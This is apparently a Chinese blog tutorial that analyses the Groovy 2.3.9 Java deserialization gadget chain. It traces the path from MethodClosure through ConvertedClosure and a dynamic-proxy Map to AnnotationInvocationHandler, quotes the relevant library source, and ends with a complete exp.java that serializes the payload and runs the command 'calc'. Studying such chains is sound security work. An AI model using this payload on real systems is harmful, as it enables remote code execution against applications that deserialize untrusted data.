• 版本:jdk8u25
  • 依赖:groovy2.3.9
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.3.9</version>
</dependency>
</dependencies>

groovy链子详解

首先直接引出漏洞点,定位到org.codehaus.groovy.runtime.Closure的Call函数,我们看看他是怎么实现的

Call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public V call() {
final Object[] NOARGS = EMPTY_OBJECT_ARRAY;
return call(NOARGS);
}

@SuppressWarnings("unchecked")
public V call(Object... args) {
try {
return (V) getMetaClass().invokeMethod(this,"doCall",args);
} catch (InvokerInvocationException e) {
ExceptionUtils.sneakyThrow(e.getCause());
return null; // unreachable statement
} catch (Exception e) {
return (V) throwRuntimeException(e);
}
}

后面还有很多调用我就不细讲了,简略来说call函数会调用method(是个类属性)函数,参数为owner属性

举个例子;

1
2
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();

这就能弹出计算机,Closure是个抽象类不能实例化,得用它的子类MethodClosure

接下来我们查找一下谁调用了Call函数

定位到org.codehaus.groovy.runtime.ConversionHandler的invokeCustom方法

invokeCustom

1
2
3
4
5
public Object invokeCustom(Object proxy, Method method, Object[] args)
throws Throwable {
if (methodName!=null && !methodName.equals(method.getName())) return null;
return ((Closure) getDelegate()).call(args);
}

如果methodName属性不为空且methodName不等于传入的method参数,就返回null

否则调用getDelegate返回值的call函数,getDelegate会返回delegate属性,这个属性是Object且只有构造函数赋值

所以说完全可控,我们接着找谁调用了invokeCustom,可以找到当前类下的invoke函数

invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
VMPlugin plugin = VMPluginFactory.getPlugin();
if (plugin.getVersion()>=7 && isDefaultMethod(method)) {
Object handle = handleCache.get(method);
if (handle == null) {
handle = plugin.getInvokeSpecialHandle(method, proxy);
handleCache.put(method, handle);
}
return plugin.invokeHandle(handle, args);
}

if (!checkMethod(method)) {
try {
return invokeCustom(proxy, method, args);
} catch (GroovyRuntimeException gre) {
throw ScriptBytecodeAdapter.unwrap(gre);
}
}

try {
return method.invoke(this, args);
} catch (InvocationTargetException ite) {
throw ite.getTargetException();
}
}

先判断VMPlugin的版本是否大于7且传入的Method是否为默认方法,如果是,则用handleCache调用这个方法

否则用groovy自定义调用,自定义调用时先判断Method是否是Java核心类Object中定义的核心方法,如果不是,就调用invokeCustom,把proxy, method, args传进去

那么默认方法是啥呢?就是用default修饰、有方法体的方法,例如:

1
2
3
4
5
6
7
public interface ababa {
void hello();

default void world() {
System.out.println("Hello from default method!");
}
}

链子分析到处就结束了,我们得找到一种方法能调用invoke函数触发链子,我们引入动态代理的概念

动态代理

动态代理一般要用到Proxy.newProxyInstance,它接收三个参数:

Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

我们逐个分析

  1. ClassLoader loader

指定由哪个类加载器来定义和加载这个动态生成的代理类

  1. Class<?>[] interfaces

作用: 指定这个动态代理对象需要实现哪些接口。这是一个 Class 对象的数组。

让我们真实的类伪装成这个对象

  1. InvocationHandler h

这是动态代理的核心

它是一个实现了java.lang.reflect.InvocationHandler接口的对象(恰好我们的ConversionHandler实现了这个接口)。

所有对代理对象的内部方法调用,最终都会被路由到这个InvocationHandler的invoke方法

例如代理对象是map,那么对map的所有内部方法调用(包括entrySet,isEmpty等)都会路由到这个InvocationHandler的invoke方法,传入invoke的参数是 被代理类(InvocationHandler h)+路由的方法(entrySet,isEmpty其中一个)

那么就有思路了,用map动态代理ConversionHandler的子类(ConversionHandler是抽象类)ConvertedClosure,那么触发map的方法时,就会调用invoke

接下来就是用cc1链子中的sun.reflect.annotation.AnnotationInvocationHandler触发EntrySet了,当然这里只是个示范,肯定有其他触发map函数的方法

链子:

1
2
3
4
5
ObjectInputStream.readObject()->
AnnotationInvocationHandler.readObject()->
ConvertedClosure.invoke()->
ConversionHandler.invokeCustom()->
MethodClosure.call()

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package test;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception{
MethodClosure methodClosure = new MethodClosure("calc", "execute");

ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,null);

Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);

Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object=constructor.newInstance(Target.class,map);

//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
byte[] bytes=byteArrayOutputStream.toByteArray();

//反序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝